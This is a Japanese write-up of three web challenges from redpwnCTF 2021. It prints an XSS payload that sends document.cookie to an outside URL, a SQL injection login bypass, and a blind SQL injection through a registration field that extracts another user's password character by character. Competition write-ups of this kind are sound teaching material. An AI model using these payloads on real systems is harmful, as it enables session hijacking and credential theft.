redpwnCTF 2021
writeup
去年に引き続き、redpwnに参加。
redpwnCTF 2021おつかれさまでした~
— よーでん (@y0d3n) 2021年7月12日
出遅れてWebだけやったけど、300点ちょっとしか貢献できなかった><#CTFから逃げるな pic.twitter.com/McLoVHphWi
Webはチームで5個解けてるけど、2つは自分が参加する前にn01e0が解いてたので3つだけ。
その3つも、自明問と超パワー解法。
- pastebin-1
- secure
- cool
pastebin-1
Ah, the classic pastebin. Can you get the admin's cookies?
<script>fetch("[url]"+document.cookie)</script>
とかで作成、そのURLをadmin botに提出するとcookie付きのリクエストがくる。
flag{d1dn7_n33d_70_b3_1n_ru57}
didnt need to be in rust。rustでやる必要なかったらしい。
secure
Just learned about encryption—now, my website is unhackable!
ログインフォーム。適当にyoden
:yoden
で送信してみると、以下のようなレスポンス。
Incorrect username or password. Query: SELECT id FROM users WHERE username = 'eW9kZW4=' AND password = 'eW9kZW4=';
入力した値がbase64エンコードされている。
一見SQLiできなそうに見えたが、実はクライアント側でbase64エンコードして送っているだけなので、burp等で自由に改ざんできる。
admin
:'or+'a'='a
で送信すればflag。
flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}
something something client not good
cool
Aaron has a message for the cool kids. For support, DM BrownieInMotion.
ログインフォーム。今度はregisterがあるので、yoden
:yoden
で登録したところ、
You are logged in!
Unfortunately, Aaron's message is for cool people only.
(like ginkoid)
coolじゃないって言われた。
ginkoidというユーザでログインしなきゃメッセージは見れないみたいだ。
ソースを見てみると、ユーザ名とパスワードはそれぞれ以下のような制約がある。
- ユーザ名
- 使用可能文字:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789
- 文字数: 1文字以上
- 重複不可
- 使用可能文字:
- パスワード
- 文字数: 50文字以下
ログイン時のSQLは以下。
SELECT password FROM users WHERE username='{username}';
ユーザ名でpassowrdをselectした後、リクエストのパスワードと照合する。
いかにもSQLiができそうな書き方をしているが、usernameは記号が使えないのでここでSQLiはできなそう。
パスワードがSQLクエリに含まれている箇所を探すと、register時のみ使っていた。
INSERT INTO users (username, password) VALUES ('{username}', '{password}');
ここでSQLiができそうだ。
パスワードに'
とかを入力すると500 Internal Server Error
。
少し試したところ、50文字の制限は結構厳しいし、複文は実行できなそう。
そうなるとvalueにインジェクションできたところで、だいぶ攻撃方法が限られる。
悩んだ末に超パワー解法になった。(たぶんもっといい方法あるけど、いい経験にはなった)
yoden1
:'||(select+substr(password,1,1)from+users)||'
で登録
これでusersテーブルの一列目(ginkoid)のパスワードの一文字目をパスワードにもつ、yoden1というユーザが作成されるyoden1
:a
でログイン、yoden1
:b
でログイン・・・
D
でログインできる。ginkoidのパスワードの一文字目はD
。yoden2
:'||(select+substr(password,2,1)from+users)||'
で登録yoden2
:a
でログイン、yoden2
:b
でログイン・・・
i
でログインできる。ginkoidのパスワードの一文字目はi
。
という風に、ginkoidのパスワードのn文字目をパスワードにもつユーザnをいくつも作って、そのアカウントに対してブルートフォースしていくことでパスワードを特定していく。
ユーザ作成のsubstrの第二引数がパスワードの文字数を越した場合は空文字がパスワードになるので、空文字でログインできたらそこまでがパスワードになる。
結果、33個のアカウントを作成してパスワードを特定し終えた。
アカウント作成はReperterで手動、ブルートフォースはIntruderを使って自動化したが、1時間程度かかった。
ginkoid
:DiAS28Rcs3WupHuF3MSNf1QOQbQpiuqG
でログインしたらよくわからない音声が再生される。「so ナントカ is cool」?
配布のソースを読んだところ、音声のファイル名はflag-at-end-of-file.mp3
。
flagを読み上げているような気配はないので、ステガノだろうか。
wgetでダウンロードする。
$ wget --header "cookie:session=eyJ1c2VybmFtZSI6ImdpbmtvaWQifQ.YOwpaA.9yQ5iNuMu1R6d1Ysj5O5U7e1JE8" https://cool.mc.ax/message
stringsすると一番最後にflag。
$ strings message : UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUflag{44r0n_s4ys_s08r137y_1s_c00l}
flag{44r0n_s4ys_s08r137y_1s_c00l}
aaron says sobriety is cool。音声ファイルではsobriety is coolと言ってたようだ。
notesはTagがエスケープされてないのは分かったけど、文字数制限がきつくて無理だった。
コメントアウトとか駆使すればできるのかな。